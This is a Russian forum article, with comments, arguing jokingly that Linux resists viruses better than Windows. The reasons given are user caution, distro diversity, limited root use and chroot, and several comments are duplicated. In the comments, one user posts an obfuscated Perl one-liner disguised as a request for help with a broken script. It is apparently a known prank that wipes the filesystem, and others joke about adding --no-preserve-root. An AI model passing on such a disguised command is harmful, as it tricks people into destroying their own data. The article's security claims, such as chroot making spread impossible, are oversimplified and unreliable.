Почему вирусы обожают операционные системы, в названии которых присутствует слово «Windows» и не выживают под Linux.
Линуксоиды умны, хитры и очень осторожны
Пользователи Linux более осторожны и аккуратны, поэтому социальный инжиниринг не работает. Запусти это почтовое вложение и увидишь булки Бритни Спирс! Виндузятник запустит, линуксоид хитро прищурится и пробьет по whois айпишник. Именно это главная причина невосприимчивости Linux к сетевой заразе.
Видовое разнообразие
Программы в Linux — это не только бинарные ELF, но и множество скриптов на разных языках. Для эффективного размножения вирус должен учитывать все основные скриптовые языки программирования. Вирус для Windows должен научиться заражать только один тип файлов — exe — и вся система в его распоряжении.
Зоопарк дистрибутивов приходит на помощь
Широкое разнообразие дистрибутивов, форматов пакетов и архитектур значительным образом снижает способность вируса к распространению. Даже разработчикам легальных программ трудно предусмотреть все конфигурации и побороть фрагментацию.
Минимум полномочий
Постоянно работать под root в Linux невозможно — программы замордуют предупреждениями. А в Windows работа под администратором поощряется. Согласно новым исследованиям, 81% пользователей Windows используют полномочия администраторов при повседневной работе. Результат — Windows укакан вирусами, фанаты Linux ни одного вируса в живую не видели.
Продвинутые технологии
Особо хитрые линуксоиды запускают подозрительные программы в изолированных средах выполнения, например через chroot. И всё — распространение вредоносного кода по файловой системе невозможно. Фанаты Windows наслаждаются рекламой и телеметрией в своей любимой ОС, а в это время вирусы размножаются и воруют данные.
Почему же минус?! Основа у всех одна - UNIX. А всем известно, что чем более универсальный инструмент, тем более он бажный, поэтому узкоспециализированные дистрибы намного эффективнее. А по причине приведенной мной первой с каждым из них можно достаточно быстро разобраться.
Программа работавшая под одной версией дистрибутива линкс, не работает через полгода под следующей версией этого дистрибутива.
А вы о каких то вирусах...
Вирус для Windows должен научиться заражать только один тип файлов — exe — и вся система в его распоряжении. Не согласен. У нас exe нет, ето хорошо. Но что мешает определить что ето бинарник с кодом? Пример комманда file выдаст инфу о том на какой архитектуре собран, что ето прога и какие библиотеки важны. А также никто не мешает влезть в модули.
эй, алло! А чо, только на ELF чтоли можно вирус писать? На перле (который в любом дистрибутиве есть) чо, нельзя чтоли? А на /bin/sh (который еще вездее есть) чо тоже вирусов не попишешь? Гммм
эээ... Автор часом не Капитан Очевидность?
тег "Для новичков" спасет
Стоит добавить низкую популярность GNU/Linux.
Широкое разнообразие форматов пакетов это скорее минус чем плюс. :)
для безопасности плюс
Почему же минус?! Основа у всех одна - UNIX. А всем известно, что чем более универсальный инструмент, тем более он бажный, поэтому узкоспециализированные дистрибы намного эффективнее. А по причине приведенной мной первой с каждым из них можно достаточно быстро разобраться.
Терь я зареганный участник Liberatum=)
Давно хотел, да как-то руки не доходили.
Если кто не понял, пост выше - мой.
Шесть звёзд :)
Принцип 95 %
Программа работавшая под одной версией дистрибутива линкс, не работает через полгода под следующей версией этого дистрибутива.
А вы о каких то вирусах...
Только "Видовое разнообразие" -главная проблема.
Можно сделать зловред , работающий с правами обычного юзера и под самые популярные форматы :deb и rpm
Как это нету вирусов??
Кстати, ребята, помогите плз, тут у меня скрипт из одной строчки не работает почему-то...
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
(ц) ЛОР =))
хм,
--no-preserve-root
добавить, не?:))
о, точняк. Так намного лучше =))
Вирус для Windows должен научиться заражать только один тип файлов — exe — и вся система в его распоряжении. Не согласен. У нас exe нет, ето хорошо. Но что мешает определить что ето бинарник с кодом? Пример комманда file выдаст инфу о том на какой архитектуре собран, что ето прога и какие библиотеки важны. А также никто не мешает влезть в модули.
эй, алло! А чо, только на ELF чтоли можно вирус писать? На перле (который в любом дистрибутиве есть) чо, нельзя чтоли? А на /bin/sh (который еще вездее есть) чо тоже вирусов не попишешь? Гммм